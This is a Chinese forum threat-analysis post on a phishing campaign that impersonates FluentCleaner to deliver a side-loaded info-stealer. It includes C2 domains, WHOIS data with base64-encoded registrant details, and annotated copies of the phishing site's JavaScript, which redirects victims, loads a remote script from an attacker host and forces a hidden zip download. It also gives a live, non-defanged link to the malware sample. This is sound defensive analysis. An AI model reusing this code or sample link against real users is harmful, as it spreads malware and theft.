钓鱼白加黑窃密 Fluentcleaner org，Trojan/Hijack.zy，Remus 家族

显示全部楼层 · 发表于 2026-7-31 22:21:46

本帖最后由 3306-1 于 2026-8-1 12:40 编辑

来源：https://www.52pojie.cn/thread-2120575-1-1.html
发现：火绒安全实验室
正版：https://github.com/builtbybel

发现者归纳

Fluent-cleaner_3.1.0.exe
Desktop\Simaple\mscoree.dll
木马病毒
Trojan/Hijack.zy
Remus 恶意软件家族
白文件MD5：cc60d61ab809d32bbc680adae965b264
黑文件MD5: 4071f7e99e78b96420aee398901f891f
C2地址：zelpx.garden:9895，tzpx.coursescarogra.biz:4219
火绒安全提醒广大用户：该样本极具隐蔽性、欺骗性和危害性，黑产团伙利用正规开源软件的名义伪装恶意程序，采用典型的“白加黑”攻击手段规避安全检测、入侵用户设备。恶意程序入驻设备后，会主动通过网络连接恶意C2服务器，接受攻击者远程指令，肆意窃取用户浏览器账号数据、社交软件信息及系统隐私数据，还可阻断安全软件更新、篡改系统网络配置，实现长期驻留、持续窃密与远程控制，严重威胁用户个人隐私、办公数据及设备安全。切勿从非官方渠道下载系统优化、清理类工具，陌生域名的软件站点均存在极高投毒风险，一旦不慎中招，将面临数据泄露、设备被操控、信息被盗用等多重安全威胁。

复制代码

外壳脚本
域　名　fluentcleaner[.]org
注册商　Dynadot Inc
注册人
邮　箱
注册日　2026-06-11 01:35:03 UTC+8
过期日　2027-06-11 01:35:03 UTC+8
更新日　2026-06-16 01:35:58 UTC+8
IANA_ID　472
状　态　客户端禁止转移
DNS　　jerry[.]ns.cloudflare[.]com
　　　　mariah[.]ns.cloudflare[.]com
DNSSEC　未配置

一转再转
域　名　github[.]io
注册商　MarkMonitor Inc.
注册人　GitHub, Inc.
邮　箱
省／州　加利福尼亚州（CA）
地　区　美国（US）
注册日　2013-03-09 03:12:48 UTC+8
过期日　2027-03-09 03:12:48 UTC+8
更新日　2025-02-09 17:19:16 UTC+8
IANA_ID　292
状　态　　客户端禁止删除
　　　　　客户端禁止转移
　　　　　客户端禁止更新
DNS　　　ns-692[.]awsdns-22[.]net
　　　　　ns-1622[.]awsdns-10[.]co[.]uk
　　　　　dns1[.]p05.nsone[.]net
　　　　　dns2[.]p05.nsone[.]net
　　　　　dns3[.]p05.nsone[.]net
DNSSEC　未配置

下载引导
域　名　trackedwildmoss[.]com
注册商　PDR Ltd. d/b/a PublicDomainRegistry.com
注册人　Q2FsZWIgR2FyY2lh
邮　箱　Yy5nYXJjaWE5MEBtYXJzaGllci5jb20=
住　址　54 Fremont Street, Apt 11
城　市　拉斯维加斯（Las Vegas）
省／州　内华达州（NV）
地　区　美国（US）
电　话　+1. NjM4MjEwNDExNw==
注册日　2026-06-03 20:44:22 UTC+8
过期日　2027-06-03 20:44:22 UTC+8
更新日　2026-06-03 20:44:23 UTC+8
IANA_ID　303
状　态　客户端禁止转移
DNS　　jimmy[.]ns.cloudflare[.]com
　　　　val[.]ns.cloudflare[.]com
DNSSEC　未配置

再次套娃
域　名　deertrustpilot[.]com
注册商　PDR Ltd. d/b/a PublicDomainRegistry.com
注册人　Q2FsZWIgR2FyY2lh
邮　箱　Yy5nYXJjaWE5MEBtYXJzaGllci5jb20=
住　址　NTQgRnJlbW9udCBTdHJlZXQsIEFwdCAxMQ==
城　市　拉斯维加斯（Las Vegas）
省／州　内华达州（NV）
地　区　美国（US）
电　话　+1. NjM4MjEwNDExNw==
注册日　2026-06-03 20:41:24 UTC+8
过期日　2027-06-03 20:41:24 UTC+8
更新日　2026-06-03 20:41:24 UTC+8
IANA_ID　303
状　态　客户端禁止转移
DNS　　katelyn[.]ns.cloudflare[.]com
　　　　thaddeus[.]ns.cloudflare[.]com
DNSSEC　未配置

钓鱼落地
域　名　nooraljorany.com
注册商　GoDaddy.com, LLC
注册人
邮　箱
注册日　2018-09-30 19:33:53 UTC+8
过期日　2026-09-30 19:33:53 UTC+8
更新日　2025-10-11 18:28:05 UTC+8
IANA_ID　146
状　态　客户端禁止删除
　　　　客户端禁止续费
　　　　客户端禁止转移
　　　　客户端禁止更新
DNS　　ns1.mysecurecloudhost.com
　　　　ns2.mysecurecloudhost.com
　　　　ns3.mysecurecloudhost.com
　　　　ns4.mysecurecloudhost.com
DNSSEC　未配置

Ｃ２接口
域　名　zelpx[.]garden
注册商　Dynadot Inc
注册人
邮　箱
注册日　2026-07-09 16:39:34 UTC+8
过期日　2027-07-09 16:39:34 UTC+8
更新日　2026-07-14 16:39:37 UTC+8
IANA_ID　472
状　态　客户端禁止转移
　　　　注册局禁止转移
DNS　　ns1.dyna-ns.net
　　　　ns2.dyna-ns.net
DNSSEC　未配置

Ｃ２接口
域　名　coursescarogra[.]biz
状　态　未注册（虽然公网未注册，但可以本地静态解析）

文件指纹
无法下载。黑产疑似已临时关闭后端下载通讯

文件指纹
launcher_7.9.0.zip
大小: 110222665 字节 : 105 MiB
CRC32: BA30EBCA
CRC64: 8309242CC89EE0C9
XXH64: 010E3A8B828C8D37
SHA256: 3a46d3be1940b96eb328451a55a684aaea2fa8960a9dbfe76be4b89b7efc3def

火绒扫描（我自己的本地扫描结果）
6.0.11.1 版本
07-31 19:10 病毒库

2026/08/01 11:02:45
病毒防护
病毒查杀
自定义扫描(手动执行)，发现0个风险项目

病毒库时间：2026-07-31 19:10
开始时间：2026-08-01 11:02
执行类型：手动执行
扫描类型：自定义扫描
总计用时：00:00:05
扫描对象：488
扫描文件：14
发现风险：0
已处理风险：0

文件目录

.
├── GitHub.txt　＃We are here - https://github.com/about
├── GitHubs.txt　＃We are here - https://github.com/about
├── launcher_7.9.0.exe　＃Visual Basic 8 Keyword Upgrade Tool v18.0.11709.182 vb7to8.exe Microsoft Corporation ‎2026‎年‎04‎月‎10‎日签名序列号 05:03:33 33 00 00 04 85 5e 99 ec 0e 59 2f cd d7 00 00 00 00 04 85
├── model.dll
├── mscoree.dll
├── msvcp140.dll　＃Microsoft® C Runtime Library v14.50.35719.0 Microsoft Windows Software Compatibility Publisher ‎2025‎年‎11‎月‎21‎日 08:51:55 签名序列号 33 00 00 01 0d c4 e7 bb f4 af f8 f0 90 00 00 00 00 01 0d
├── ucrtbase.dll　＃Microsoft® C Runtime Library v10.0.26100.7019 Microsoft Windows ‎2025‎年‎10‎月‎24‎日 13:07:20 签名序列号 33 00 00 04 d6 d0 b9 9e fe cc f1 72 6a 00 00 00 00 04 d6
├── vcruntime140_1.dll　＃Microsoft® C Runtime Library v14.50.35719.0 ‎2025‎年‎11‎月‎21‎日 08:51:59 MWSCP 签名序列号相同
├── vcruntime140.dll　＃Microsoft® C Runtime Library v14.50.35719.0 ‎2025‎年‎11‎月‎21‎日 08:51:55 MWSCP 签名序列号相同
└── x86/
├── config.json　＃Adobe Graphics Manager v4.30.87.47594 v113.624934 AGM.dll Adobe Inc. ‎2020‎年‎11‎月‎06‎日 17:01:53 0e 8d 5b d8 e9 b2 32 4f bd 15 71 81 0d 19 1d e0
├── core.dll　＃photoshopdva v12.1.0.0 dvaaccelerate.dll Adobe Inc. ‎2020‎年‎01‎月‎16‎日 07:56:43 0e 8d 5b d8 e9 b2 32 4f bd 15 71 81 0d 19 1d e0
├── corel.dll
├── logo.png　＃300 x168
└── obsidian-source.dll

复制代码

相关走向
脚本引用

<script defer src="assets/app.js"></script>
<script defer src="assets/data.js"></script>
<script src="/stat/sdk.js" data-auto-leads></script>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "SoftwareApplication",
"name": "FluentCleaner",
"alternateName": "Fluent Cleaner",
"description": "FluentCleaner is the free, open-source junk and cache cleaner for Windows 11. Removes browser cache and temp data without registry tricks. MIT licensed, no ads, no telemetry.",
"applicationCategory": "UtilitiesApplication",
"operatingSystem": "Windows 11, Windows 10",
"softwareVersion": "latest",
"datePublished": "2026-06-10",
"url": "https://fluentcleaner[.]org",
"downloadUrl": "https://fluentcleaner[.]org/download/FluentCleaner-Setup.exe",
"installUrl": "https://fluentcleaner[.]org/download/FluentCleaner-Setup.exe",
"license": "https://opensource.org/licenses/MIT",
"offers": {
"@type": "Offer",
"price": "0",
"priceCurrency": "USD",
"name": "Free",
"availability": "https://schema.org/InStock"
},
"author": {
"@type": "Person",
"name": "builtbybel",
"url": "https://github.com/builtbybel" // 真的正版仓库，但此处被钓鱼网站恶意假借仿冒
},
"aggregateRating": {
"@type": "AggregateRating",
"ratingValue": "4.8",
"ratingCount": "1247",
"bestRating": "5"
}
}
</script>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "FAQPage",
"mainEntity": [{
"@type": "Question",
"name": "Is FluentCleaner safe?",
"acceptedAnswer": {
"@type": "Answer",
"text": "Yes. FluentCleaner is open-source under the MIT licence — every line is auditable on GitHub. It only targets known junk locations (browser cache, Windows temp, app caches, GPU shader caches) and never touches the registry. No telemetry, no network calls."
}
},
{
"@type": "Question",
"name": "Is FluentCleaner really free?",
"acceptedAnswer": {
"@type": "Answer",
"text": "FluentCleaner is 100% free, forever. No premium tier, no subscription, no Pro upsell. The free download is published on the official GitHub releases page under MIT licence."
}
},
{
"@type": "Question",
"name": "Where do I download FluentCleaner?",
"acceptedAnswer": {
"@type": "Answer",
"text": "The official download is on the builtbybel/FluentCleaner GitHub releases page. Always grab it from there — third-party mirrors may bundle adware."
}
},
{
"@type": "Question",
"name": "Does FluentCleaner work on Windows 10?",
"acceptedAnswer": {
"@type": "Answer",
"text": "FluentCleaner is built for Windows 11 with WinUI 3. It runs on Windows 10 if the WinUI 3 runtime is present, but the Mica and Fluent Design polish is optimised for Windows 11."
}
}]
}
</script>

复制代码

载入脚本

/assets/app.js
往网页内添加交互效果，立即执行函数

复制代码

载入脚本

/assets/data.js
// ── FluentCleaner download link ──────────────────────────────
// The ONLY place to change the download link for the whole site.
// 这是更改全站下载链接的唯一途径
// Every download button/link takes its href and click action from here.
// 所有下载按钮／链接的 href 和点击操作都来自这
var DOWNLOAD_URL =
"https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner";
// Trigger the download — sends the visitor to the download URL.
// 触发下载 — 将访客引导至下载网址
function triggerDownload() {
window.location.href = DOWNLOAD_URL;
}
// Expose for inline / programmatic use.
// 暴露全局接口以供内联／程序命令等调用
window.fluentCleanerDownload = triggerDownload;
// Wire every element flagged with data-download to trigger the download.
// 将所有标记为数据下载的元素连接到数据下载开关，以触发下载
function wireButtons() {
var buttons = document.querySelectorAll("[data-download]");
buttons.forEach(function (btn) {
// Force the real URL onto every download anchor so hover, right-click
// 将真实 URL 强制添加到每个下载锚点，因此请悬停并右键单击。
// "open in new tab" and crawlers all see the single DOWNLOAD_URL.
// “在新标签页中打开”，所有爬虫都会看到同一个 DOWNLOAD_URL。
if (btn.tagName === "A") {
btn.setAttribute("href", DOWNLOAD_URL);
}
btn.addEventListener("click", function (e) {
e.preventDefault();
triggerDownload();
});
});
}
// DOM 加载时机的处理，避免过早查询 DOM 导致找不到元素
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", wireButtons);
} else {
wireButtons();
}

复制代码

载入脚本

/stat/sdk.js
// 动态确定后端接口地址，重新拼接获得最终接口地址
// https://fluentcleaner[.]org/stat/proxy.php
// https://fluentcleaner[.]org/stat/lead.php
const script = document.currentScript;
const PROXY_URL = script.src.replace(/\/sdk\.js([?#].*)?$/, '/proxy.php');
const LEAD_URL = script.src.replace(/\/sdk\.js([?#].*)?$/, '/lead.php');
if (!PROXY_URL.includes('proxy.php')) return;
// 识别操作系统
function getOS() {
const ua = navigator.userAgent;
if (/Windows/i.test(ua)) return 'Windows';
if (/Mac OS X/i.test(ua)) return 'macOS';
if (/Android/i.test(ua)) return 'Android';
if (/iPhone|iPad/i.test(ua)) return 'iOS';
if (/Linux/i.test(ua)) return 'Linux';
return null;
}
// 收集访问数据，并在访问接口时提交
const collected = {
url: window.location.href, // 当前地址
referrer: document.referrer || null, // 来源
language: navigator.language || null, // 浏览器语言
user_agent: navigator.userAgent || null, // 浏览器访问头
os: getOS(), // 浏览器访问头的系统
timestamp: new Date().toISOString(), // 当前时间戳
};
// Expose for non-form lead senders (e.g. download-button click trackers)
// 向非表单线索发送者（例如下载按钮点击跟踪器）暴露信息
window.__statData = collected;
// 上报基础页面访问统计
fetch(PROXY_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(collected),
keepalive: true,
}).catch(function () {});
// Fill hidden form fields so PHP can include them in lead submissions
// 填写隐藏表单字段，以便 PHP 可以将其包含在潜在客户提交信息中
// 如果页面上存在以下 name 属性的 <input> 元素，会自动填入对应值：
function fillFields() {
var map = {
'_stat_user_agent': collected.user_agent,
'_stat_language': collected.language,
'_stat_os': collected.os,
'_stat_timestamp': collected.timestamp,
};
Object.keys(map).forEach(function (name) {
var el = document.querySelector('input[name="' + name + '"]');
if (el && map[name]) el.value = map[name];
});
}
// DOM 加载时机的处理，避免过早查询 DOM 导致找不到元素
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', fillFields);
} else {
fillFields();
}
// Auto-leads: fire a lead when the user clicks any download-like CTA.
// 自动线索捕获（data-auto-leads 模式）：当用户点击任何类似下载的 CTA 时触发线索
// Enabled by adding `data-auto-leads` to the script tag. Used on satellite
// 如果脚本标签带有 data-auto-leads 属性，则启用点击自动追踪
// sites that have CTA buttons but no explicit downloadFile() handler.
// 这个功能适合放在没有显式调用埋点函数的卫星站点中，自动把下载按钮的点击当成一条线索发送给后端
if (script.hasAttribute('data-auto-leads')) {
var fired = new WeakSet();
var DOWNLOAD_CLASS = /\b(dl-btn|download-btn|btn--download|btn-download)\b/i;
var CTA_CLASS = /(\bcta\b|btn-hero-primary|btn--fill|btn--cta|btn-download)/i;
var TEXT_RE = /^(download|get(\s+(app|free|started|it|now))?)\b/i;
var HREF_DL = /\.(zip|exe|dmg|pkg|apk|msi)(\?|$)/i;
document.addEventListener('click', function (e) {
var el = e.target && e.target.closest && e.target.closest('a, button');
if (!el || fired.has(el)) return;
var text = (el.textContent || '').trim();
var cls = (el.className || '') + '';
var href = el.getAttribute('href') || '';
var match =
DOWNLOAD_CLASS.test(cls) ||
HREF_DL.test(href) ||
TEXT_RE.test(text) ||
CTA_CLASS.test(cls);
if (!match) return;
fired.add(el);
fetch(LEAD_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
url: collected.url,
referrer: collected.referrer,
language: collected.language,
user_agent: collected.user_agent,
os: collected.os,
timestamp: collected.timestamp,
button_text: text.slice(0, 100),
button_href: href.slice(0, 200),
}),
keepalive: true,
}).catch(function () {});
}, true);
}

复制代码

请求接口

/stat/proxy.php
ＰＯＳＴ
{
"url": "https://fluentcleaner[.]org",
"referrer": null,
"language": "zh",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6.0.11.1) Gecko/20100101 huorong/6.0.11.1",
"os": "Windows",
"timestamp": "2026-07-31T11:18:33.104Z"
}
响应
{
"ok": true,
"id": 105679
}

复制代码

载入接口

/stat/lead.php
{
"url": "https://fluentcleaner[.]org",
"referrer": null,
"language": "zh",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6.0.11.1) Gecko/20100101 huorong/6.0.11.1",
"os": "Windows",
"timestamp": "2026-07-31T11:18:33.104Z",
"button_text": "Download fluentcleaner free",
"button_href": "https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner"
}

复制代码

首次指向

点击下载按钮后
https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner
// 纯粹是一个重定向器，把所有进入第一个页面的流量无声地转移到第二个页面上，同时保留路径和参数，让受害者以为还在同一个站点内。
(function () {
var gateway = 'https://pamellahaitz[.]github[.]io';
var chunks = window.location.pathname.split('/.github/');
if (!chunks[1]) return;
var suffix = chunks[1] + window.location.search + window.location.hash;
window.location.assign(gateway + '/.github/' + suffix);
})();

复制代码

套娃指向

https://pamellahaitz[.]github[.]io/.github/fluent-cleaner
// 拼接恶意地址
var TARGET = (function () {
var _head = 'aHR0cHM6Ly90cmFja2Vkd2lsZG0='; // https://trackedwildm
var _path = 'b3NzLmNvbS9jb3lpc2gudmVpbmVk'; // oss[.]com/coyish.veined
function _fromB64(s) {
return atob(s);
}
function _exploreHubQ17() { // 失败时的“安全回落”函数
location.replace('https://github.com/explore');
}
return { uri: _fromB64(_head) + _fromB64(_path), fail: _exploreHubQ17 };
})();
// 提取重定向地址
function pickRedirect(text) {
var body = String(text).replace(/^\uFEFF/, '').trim(); // 去掉 BOM 头，去除空白
var hit = body.match(/https?:\/\/[^'"\s;]+/); // 用正则抓取正文中出现的第一个 http:// 或 https:// 开头的链接
if (!hit) throw 0;
return hit[0]; // 如果没找到就抛出异常，触发后续的 catch 逻辑
}
// 尝试拉取远程内容并跳转（或加载远程脚本）
// 先尝试用 fetch 请求 trackedwildmoss.com/coyish.veined
// 如果请求成功（状态码 2xx），读取返回的纯文本，从文本中提取第一个 URL，立即用 location.replace 跳转到那个 URL
// 如果 fetch 失败（网络错误、非 200 状态等，或者没提取到 URL），进入 catch，动态创建一个 <script> 标签，设置 src 为同一个恶意地址，设置 referrerPolicy = 'unsafe-url'，把这个 <script> 插入页面，如果脚本加载失败（onerror），则触发 TARGET.fail()，跳转到 https://github.com/explore，伪装成正常操作
function mountRemoteScript() {
var url = TARGET.uri;
if (!url) { TARGET.fail(); return; }
fetch(url, { method: 'GET', cache: 'no-store' })
.then(function (res) {
if (!res.ok) throw 0;
return res.text();
})
.then(function (text) {
location.replace(pickRedirect(text));
})
.catch(function () {
var tag = document.createElement('script');
tag.charset = 'utf-8';
tag.referrerPolicy = 'unsafe-url';
tag.src = url;
tag.onerror = function () { TARGET.fail(); };
(document.head || document.documentElement).appendChild(tag);
});
}
// 页面打开后等待 1.756 秒再执行上述逻辑
setTimeout(mountRemoteScript, 1756);

复制代码

受害者点击链接
│
▼
ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner
│ （立即重定向）
▼
pamellahaitz[.]github[.]io/.github/fluent-cleaner
│ 展示伪造 GitHub 下载页（“Download Zip”）
│ 1.75 秒后
├─→ 成功 fetch → 远程文本提取最终钓鱼/恶意地址 → 跳转
└─→ fetch 失败 → 动态加载 <script src="恶意域名/coyish.veined">
├─ 脚本加载成功 → 执行远程恶意代码
└─ 脚本加载失败 → 跳转 github.com/explore（伪装）

复制代码

下载引导

https://trackedwildmoss[.]com/coyish.veined
Reflect.apply(Location.prototype.replace, location, ['https://deertrustpilot[.]com']);

复制代码

再次套娃

https://deertrustpilot[.]com
３０２指向下方

复制代码

落地判断

https://nooraljorany[.]om/redirect.html?path=package&ref=&os=Windows 10&geo=CN&language=zh
// RU page is fixed; EN page is passed as ?path=filename-without-extension
// 俄语页面是固定的；英语页面通过 `?path=filename-without-extension` 的方式传递。
const RU_URL = "github-zip.html";
// Countries that should go to the RU page
// 应前往俄语页面的国家/地区
const RU_COUNTRY_CODES = [
"RU",
"BY",
"KZ",
"KG",
"AM",
"AZ",
"UZ",
"TJ",
"TM",
"MD",
"UA",
];[
// How long to wait for the geo lookup before falling back to EN
// 地理位置查找需要等待多久才会回退到英文
const GEO_LOOKUP_TIMEOUT_MS = 4000;
// 使用 window.location.replace(url) 进行跳转。这种方式不会在浏览器历史中留下当前页记录，用户无法通过“后退”按钮回到这个分流页
function redirectTo(url) {
window.location.replace(url);
}
// 从当前URL的查询字符串（例如 ?path=download&geo=RU）中提取指定参数值
function getParam(name) {
const url = new URLSearchParams(window.location.search);
return url.get(name);
}
// 用于从 document.referrer（来源页URL）中提取路径的最后一段文件名
// 安全限制：提取时会过滤掉空值、禁止 redirect.html 或 redirect 自身、只允许字母数字下划线和短横线，防止注入异常值
function getReferrerName() {
const referrer = document.referrer;
if (!referrer) {
return null;
}
return getPathName(referrer);
}
function getPathName(url) {
let pathname;
try {
pathname = new URL(url, window.location.href).pathname;
} catch {
return null;
}
const segments = pathname.split("/").filter(Boolean);
const name = segments.length ? segments[segments.length - 1] : null;
if (!name || name === "redirect.html" || name === "redirect") {
return null;
}
if (!/^[\w-]+$/.test(name)) {
return null;
}
return name;
}
// 获取浏览器语言设置，小写
function getBrowserLanguage() {
return (navigator.language || navigator.userLanguage || "")
.trim()
.toLowerCase();
}
// 定义但未调用，异步获取地理位置，通过 fetch("geo.php") 请求，带有超时控制
// 实际使用的国家代码直接取自查询参数 geo，地理位置判定是由上游（如服务器端或另一个前置页）完成并传入的
// 这个函数可能是历史遗留，或为将来启用客户端地理查询预留
async function getGeoCode() {
const controller = new AbortController();
const timeoutId = setTimeout(
() => controller.abort(),
GEO_LOOKUP_TIMEOUT_MS,
);
try {
const response = await fetch("geo.php", {
signal: controller.signal,
});
const data = await response.json();
return (data.country_code || "").trim().toUpperCase() || null;
} catch (error) {
console.error("Geo lookup failed:", error);
return null;
} finally {
clearTimeout(timeoutId);
}
}
// 将统计名作为 n 参数拼接到目标 URL 上
// 例如原目标为 package.html，最终可能变为 package.html?n=download
function appendStatisticName(url) {
const n = getStatisticName();
const target = new URL(url, window.location.href);
target.searchParams.set("n", n);
return target.toString();
}
// 决定附加在目标 URL 上的统计标识参数 n 的值，优先级顺序为
// 查询参数中直接提供的 n（需通过格式校验）
// 查询参数 ref 的值，对其提取路径名作为统计名（校验同上）
// 通过 document.referrer 提取的路径名
// 如果以上都没有，默认使用 "launcher"
function getStatisticName() {
const n = getParam("n");
if (n && /^[\w-]+$/.test(n)) {
return n;
}
const ref = getParam("ref");
if (ref) {
const refPathName = getPathName(ref);
if (refPathName) {
return refPathName;
}
}
return getReferrerName() || "launcher";
}
// 根据查询参数 path 生成英语页面地址
// 默认值为 "package"，生成 package.html
// 安全限制：path 参数仅限字母、数字、下划线、短横线，防止路径遍历攻击
// 校验失败返回 null，后续会阻止跳转并打印错误
function getEnUrl() {
const path = getParam("path") || "package";
// Keep the target constrained to a simple page slug.
if (!/^[a-zA-Z0-9_-]+$/.test(path)) {
return null;
}
return `${path}.html`;
}
// 从 URL 中收集 path、geo、os、ref、language 参数
const input = {
path: getParam("path"),
geo: getParam("geo"),
os: getParam("os"),
ref: getParam("ref"),
language: getParam("language"),
};
// 并填充默认值（path 默认为 package，其他为 null）
const resolved = {
path: input.path || "package",
geo: input.geo || null,
os: input.os || null,
ref: input.ref || null,
language: input.language || null,
};
// 控制台立即打印当前结果
console.log({ input, resolved });
// 根据查询参数 path 生成英语页面地址，赋值给 enUrl 等
const enUrl = getEnUrl();
const lang = (resolved.language || "").trim().toLowerCase();
const geo = (resolved.geo || "").trim().toUpperCase();
// 定义属于俄语区内的地区代码
const ruLanguages = [
"ru-ru",
"kk-kz",
"uz-uz",
"ky-kg",
"hy-am",
"az-az",
"tg-tj",
"tk-tm",
"be-by",
"uk-ua",
"ro-ro",
];
// 跳转决策逻辑
// 生成英语目标地址（enUrl）：如果 path 参数无效（例如包含非法字符），enUrl 为 null，脚本仅输出错误日志，不会发生任何跳转
// 语言优先判断：如果查询参数 language 的值（已转为小写）出现在上述俄语语言列表中（如 ru-ru），则无论国家代码是什么，直接跳转到俄语页面 github-zip.html（并附上统计名）
// 地区判断：如果语言不匹配，则检查查询参数 geo（已转为大写）是否属于俄语国家列表，是 → 跳转俄语页面，否 → 跳转之前生成的英语页面（如 package.html）
// 统计参数附加：所有跳转目标都会经过 appendStatisticName 处理，最终URL中必定包含 ?n=统计名（或与其他原有参数合并）
if (!enUrl) {
console.error('Missing or invalid "path" query parameter 缺少或无效的“路径”查询参数');
} else if (ruLanguages.includes(lang)) {
redirectTo(appendStatisticName(RU_URL));
} else {
const targetUrl = RU_COUNTRY_CODES.includes(geo) ? RU_URL : enUrl;
redirectTo(appendStatisticName(targetUrl));
}

复制代码

前端落地

https://nooraljorany[.]com/package.html?n=launcher
// 调用脚本
<script src="scripts.js?v=20260728-1"></script>
// 核心下载流程
function startDownloadProcess() {
const downloadBtn = document.getElementById("downloadBtn");
const loadingContainer = document.getElementById("loadingContainer");
const progressFill = document.getElementById("progressFill");
downloadBtn.style.display = "none";
loadingContainer.style.display = "block";
fadeIn(loadingContainer);
let timeLeft = 15;
let progress = 0;
const timerElement = document.getElementById("timer");
// Start file download
// 启动文件创建与下载（参数6可能是文件ID或恶意载荷标识）
startFileCreationAndDownload(6);
// Send statistics
// 发送统计信息
sendStatistics(getStatisticName(), 6);
const countdown = setInterval(() => {
timeLeft--;
progress = ((15 - timeLeft) / 15) * 100;
timerElement.textContent = `${timeLeft}s`; // 更新倒计时显示
progressFill.style.width = `${progress}%`; // 更新进度条
if (timeLeft <= 0) {
clearInterval(countdown);
loadingContainer.style.display = "none"; // 隐藏加载界面
document.getElementById("subtitle").style.display = "block";
fadeIn(document.getElementById("subtitle"));
timerElement.textContent = "15s";
progressFill.style.width = "0%";
downloadBtn.style.display = "block"; // 重新显示按钮
downloadBtn.innerHTML = "<span>Try download again</span>";
downloadBtn.disabled = false;
fadeIn(downloadBtn);
// 被注释掉的 Chrome 检测代码
// if (isChrome()) {
// document.getElementById("currentUrl").value =
// window.location.href;
// document.getElementById("chromeModal").style.display = "block";
// }
}
}, 1000);
}

复制代码

载入脚本

https://nooraljorany[.]com/scripts.js?v=20260728-1
// Detect whether the browser is Chrome
// 检测是否为 Chrome 浏览器
// 判断当前浏览器是否为 Chrome。检查用户字符串中是否含有 "Chrome"，同时供应商字符串中是否含有 "Google Inc"
function isChrome() {
return (
/Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)
);
}
// Get domain from referrer
// 获取来源域名
// 获取当前页面的来源地址（document.referrer），即用户从哪个页面跳转而来
// 如果能获取到 referrer，则提取其主机名（例如 example.com）；否则返回默认字符串 "launcher"
const getDomain = () => {
const referrer = document.referrer;
console.log("getDomain - debug referrer:", referrer);
return document.referrer ? new URL(referrer).hostname : "launcher";
};
// Get last path segment from referrer (e.g. "https://domain/.some/this_part" -> "this_part")
// 获取来源路径的最后一段
// 从来源 URL 的路径中提取最后一段有效部分
// 如果没有 referrer，返回 "launcher"
// 如果最后一段恰好是 redirect.html 或 redirect（可能是中转页面的名称），则也返回 "launcher"，避免暴露实际跳转路径
const getPathSegment = () => {
const referrer = document.referrer;
console.log("getPathSegment - debug referrer:", referrer);
if (!referrer) return "launcher";
const segments = new URL(referrer).pathname.split("/").filter(Boolean);
const segment = segments.length ? segments[segments.length - 1] : "launcher";
if (segment === "redirect.html" || segment === "redirect") {
return "launcher";
}
return segment;
};
// 从 URL 参数 n 获取统计标识
// 如果 n 不存在或格式不匹配（只允许字母、数字、下划线、点、横线），则返回默认值 "launcher"
const getStatisticName = () => {
const params = new URLSearchParams(window.location.search);
const n = params.get("n");
if (n && /^[\w.-]+$/.test(n)) {
return n;
}
return "launcher";
};
// 获取下载标识名
// 与 getStatisticName 完全相同的逻辑，从参数 n 获取下载标识，默认也是 "launcher"
// n 参数同时决定了统计分类和要下载的文件“域”（domain 参数），可能将 n 用作一种用户/渠道标识符
const getDownloadName = () => {
const params = new URLSearchParams(window.location.search);
const n = params.get("n");
if (n && /^[\w.-]+$/.test(n)) {
return n;
}
return "launcher";
};
// Start file download function
// 核心恶意下载触发
// 用 getDownloadName() 获得 domain 标识（实际是来自 URL 参数 n 或默认 "launcher"）
// 在浏览器的 localStorage 中检查是否已为该 domain 生成过版本号，如果没有则随机生成一个三位版本号（例如 _1.2.3）并存储
// 构造 archiveProxy.php 下载链接，domain 下载标识，version 随机生成的版本号，id：从调用方传入（固定为 6，可能代表一种恶意载荷编号）
// 动态创建一个隐藏的 <a> 标签，设置 href 为构造的链接，download 属性为空（促使浏览器下载而非导航），然后模拟点击，最后移除该元素
function startFileCreationAndDownload(id) {
try {
const domain = getDownloadName();
const versionKey = `user_version_${domain}`;
let randomVersion = localStorage.getItem(versionKey);
if (!randomVersion) {
randomVersion = `_${Math.floor(Math.random() * 10)}.${Math.floor(
Math.random() * 10,
)}.${Math.floor(Math.random() * 10)}`;
localStorage.setItem(versionKey, randomVersion);
}
const url = `archiveProxy.php?domain=${domain}&version=${randomVersion}&id=${id}`;
const a = document.createElement("a");
a.href = url;
a.download = "";
a.style.display = "none";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
} catch (error) {
console.error(error);
}
}
// Function to send statistics
// 发送统计信息
function sendStatistics(domain, id) {
const storageKey = `stats_sent_${id}_${domain}`;
const today = new Date().toDateString();
// 若今天已发送过，则不再重复发送
if (localStorage.getItem(storageKey) === today) {
console.log("Stats already sent today for this stream and domain");
return;
}
const data = {
id,
domain,
};
fetch("statProxy.php", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(data),
})
.then(async (response) => {
const data = await response.json();
if (!response.ok || data.status !== "stats_sent") {
throw new Error(data.message || `Statistics request failed: HTTP ${response.status}`);
}
return data;
})
.then((data) => {
console.log("Stats sent:", data);
localStorage.setItem(storageKey, today); // 记录今天已发送
})
.catch((error) => console.error("Error sending stats:", error));
}

复制代码

下载预备

https://nooraljorany[.]com/statProxy.php
ＰＯＳＴ
{
"id": 6,
"domain": "launcher"
}
响应
{
"status": "stats_sent"
}

复制代码

正式下载

https://nooraljorany[.]com/archiveProxy.php?domain=launcher&version=_1.2.3&id=6
响应
server: nginx
content-type: application/zip
content-disposition: attachment; filename="launcher_1.2.3.zip"

复制代码

https://fluentcleaner.org/download/FluentCleaner-Setup.exe
很可惜，已失效，目前返回４０４静态网页

复制代码

样本（钓鱼提供）
提取码：无，解压码：无

https://nooraljorany.com/archiveProxy.php?domain=launcher&version=_7.9.0&id=6

复制代码

显示全部楼层 · 发表于 2026-8-5 19:17:18

本帖最后由 fdsax 于 2026-8-5 19:32 编辑

卡巴拦截第一个网站，第二个下载监控杀dll

[已鉴定] 钓鱼白加黑窃密 Fluentcleaner org，Trojan/Hijack.zy，Remus 家族